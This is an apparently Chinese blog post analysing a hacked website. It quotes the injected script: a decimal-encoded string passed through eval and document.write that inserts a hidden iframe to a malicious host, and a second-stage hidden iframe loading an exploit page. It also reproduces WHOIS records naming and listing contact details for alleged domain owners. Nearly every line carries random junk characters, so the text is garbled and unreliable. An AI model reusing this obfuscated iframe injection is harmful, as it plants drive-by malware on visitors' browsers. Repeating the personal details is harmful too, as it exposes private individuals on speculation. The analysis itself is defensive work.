首发在我的博客里面，
42 `Uq[5Y py$Gy-I~[ http://www.areway.cn/?p=175 GUQ3XF\ }5E H67 0yjYjIk"T 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
A7QT4h&6 F]OWqUV <script>t=’60,105,102,114,97,109,101,
`@ Z$+ 32,115,114,99,61,104,116,116,112,58,47,47,
xgOt%7sb 102,114,101,101,46,117,45,117,117,117,46,99,
K81FKV. 110,47,101,114,114,111,114,46,104,116,109,
~ &/Nl_# 32,119,105,100,116,104,61,49,48,48,32,104,
s\ 't=}0q 101,105,103,104,116,61,48,62,60,47,105,102,
-/8V2dv3 114,97,109,101,62′;
X>dQK4!R t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
2Jo|P A` 9 , wk}[MF <script>t=’60,105,102,114,97,109,101,32,115,
n(A;:) W{ 114,99,61,104,116,116,112,58,47,47,102,114,
+46& Zb35 101,101,46,117,45,117,117,117,46,99,110,47,
_WV13pnRu 101,114,114,111,114,46,104,116,109,32,119,
b?k,_; \ 105,100,116,104,61,49,48,48,32,104,101,105,
m<Gd 6V5 103,104,116,61,48,62,60,47,105,102,114,97,
s#~VN;-I 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
&IQNsJ L!e document.write(t);</script>
r0z8? )~)T[ S <html xmlns=”
kb-XEJ}L http://www.w3.org/1999/xhtml ; 180ct4 “>
1xx TI{'g[ <head>
BDN}`F[ F <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
p7},ymQ|YQ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
9 'X "a <title>首页 - 爱生活家庭网
T&dc)t `o ddYb=L+_b 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Mf5kknYuL9 转换字符串后的大概内容是（谁点击后果自付）：
@sR/l; <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
<MxA;A }2=~7& ) 查询玉米u-uuu.cn的详细信息：
c7rC !v
Domain Name: u-uuu.cn
s]vsD77& ROID: 20070901s10001s64972306-cn
&~"N/o Domain Status: ok
z'Bvjul Registrant Organization: 王雷
p@$92> ' Registrant Name: 王雷
`[=/f=Q} Administrative Email:
czlovexs@126.com mv<cyWp Sponsoring Registrar: 北京万网志成科技有限公司
?zo7.R-Vac Name Server:ns.yovole.com
}m!T~XR</ Name Server:ns1.yovole.com
{s@&3i?ZiC Registration Date: 2007-09-01 17:54
LWo )x Expiration Date: 2008-09-01 17:54
JpQV7}$ 最后PING了一下地址 都没有什么….
lf oPFJ
Z 8yr-X!eF 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
tjZS:@3
Z <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
%*L8W*V <script language=”javascript” src=”
,[n=PJV w/ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script q:_-#u >
s_u!
RrC 这个玉米应该有可能是木马作者的：
gd)VL}k foafau.info的详细信息：
TIV|7nKL Access to INFO WHOIS information is provided to assist persons in
N,)rrBD determining the contents of a domain name registration record in the
ZU:c[` Afilias registry database. The data in this record is provided by
AWZ4h,as{ Afilias Limited for informational purposes only, and Afilias does not
4YMUkwh guarantee its accuracy. This service is intended only for query-based
*XXa 9z access. You agree that you will use this data only for lawful purposes
B)DtJ f and that, under no circumstances will you use this data to: (a) allow,
WAr6Dv,8 enable, or otherwise support the transmission by e-mail, telephone, or
o hPXwp?] facsimile of mass unsolicited, commercial advertising or solicitations
voN, u>U to entities other than the data recipient’s own existing customers; or
eET1f8 B=L (b) enable high volume, automated, electronic processes that send
5IG#-Q(6sp queries or data to the systems of Registry Operator, a Registrar, or
.v) A|{:2 Afilias except as reasonably necessary to register domain names or
`yXH b modify existing registrations. All rights reserved. Afilias reserves
%H"AHkge:a the right to modify these terms at any time. By submitting this query,
mqQ//$Y
you agree to abide by this policy.
o<S(ODOfi Domain ID:D22418703-LRMS
BBoVn^Z*R Domain Name:FOAFAU.INFO
!O,`Z`T? Created On:20-Nov-2007 16:05:42 UTC
)q+;+J`> Last Updated On:20-Nov-2007 16:05:44 UTC
E-rGOm" m Expiration Date:20-Nov-2008 16:05:42 UTC
\p iz Vt Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
b<g9L4s Status:CLIENT DELETE PROHIBITED
h>NuQo* Status:CLIENT RENEW PROHIBITED
*fDhNmQ ` Status:CLIENT TRANSFER PROHIBITED
L{1PCs36c Status:CLIENT UPDATE PROHIBITED
.|6Wmn-uS Status:TRANSFER PROHIBITED
g dBH\K (\ Registrant ID:GODA-040110615
a
' <B0 ' Registrant Name:liu hong
] [ Cg8 Registrant Organization:
cj3P]2B# Registrant Street1:beijing
}
AHR7mu= Registrant Street2:
Daf;;
w Registrant Street3:
~<_P jV Registrant City:beijing
~
Q;qRx Registrant State/Province:
r^"pLzA x Registrant Postal Code:100000
!uHVg(} Registrant Country:CN
"qY_O/Eg]] Registrant Phone:+86.860108888777
sr$JFMTO11 Registrant Phone Ext.:
!_1RQ5]^ Registrant FAX:
vP&JL ~ Registrant FAX Ext.:
w#$Q?u ,G Registrant Email:bbbshiji@163.com
=
:\o/)+ Admin ID:GODA-240110615
6c#1Do(W+ Admin Name:liu hong
SQBe}FlktK Admin Organization:
X pf: I Admin Street1:beijing
X04JQLhy" Admin Street2:
DmpD`^?-L Admin Street3:
#F >R 5 D Admin City:beijing
mvW,nM1Y Admin State/Province:
G
Y ]bw Admin Postal Code:100000
NHz hGg] Admin Country:CN
~LN
{5zg Admin Phone:+86.860108888777
AtlUxFX0S Admin Phone Ext.:
K<w$ Admin FAX:
U{.y X7 Admin FAX Ext.:
|NWo.j>4- Admin Email:bbbshiji@163.com
}W* q Billing ID:GODA-340110615
lZ }H? n% Billing Name:liu hong
*1b)Va8v* Billing Organization:
m:{IVvN_ Billing Street1:beijing
^{fA:N= Billing Street2:
&Uk h Billing Street3:
d#3E'8 Billing City:beijing
1A\N $9Dls Billing State/Province:
dX~$#-Ad86 Billing Postal Code:100000
5@@ilvwzz Billing Country:CN
q vGkTE Billing Phone:+86.860108888777
Ut^ {4_EC Billing Phone Ext.:
V> @+&q Billing FAX:
t2q{;d~. Billing FAX Ext.:
D j@7vM%_ Billing Email:bbbshiji@163.com
-]~vE fq+T Tech ID:GODA-140110615
uY|-: = Tech Name:liu hong
=ET |h}I Tech Organization:
PzD ekyl Tech Street1:beijing
EJ `"npU
Tech Street2:
n[` FoY Tech Street3:
/q >1X!Z Tech City:beijing
.qk_m-o Tech State/Province:
OuF%!~V Tech Postal Code:100000
7^Q4?(A Tech Country:CN
c'~6 1HA< Tech Phone:+86.860108888777
UB1/0o Tech Phone Ext.:
V q<\ix Ri Tech FAX:
?Q%X,!~ \: Tech FAX Ext.:
0T7""^'& Tech Email:bbbshiji@163.com
BO)Q$*G~JD Name Server:NS27.DOMAINCONTROL.COM
N1i%b,:3 Name Server:NS28.DOMAINCONTROL.COM
etWCMR Name Server:
wLz@u$u? Name Server:
&C=[D _h Name Server:
^8e u+E.{ Name Server:
aaM76 ; Name Server:
f&
>[$zh Name Server:
8!(09gW'> Name Server:
E;AOCbV*$ Name Server:
R<n'v.~"A Name Server:
xF8^#J6> Name Server:
0'0 GAh2 Name Server:
jou741 f/NfvLi(AU 接着下载每个文件里面的代码：
m3E`kW | 一步一步看..
Wc
q UF"A 
+Q+>{HK 
wXnlu E 
<*5 5d2 
VwrHD$ 
V*w~Sr% 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
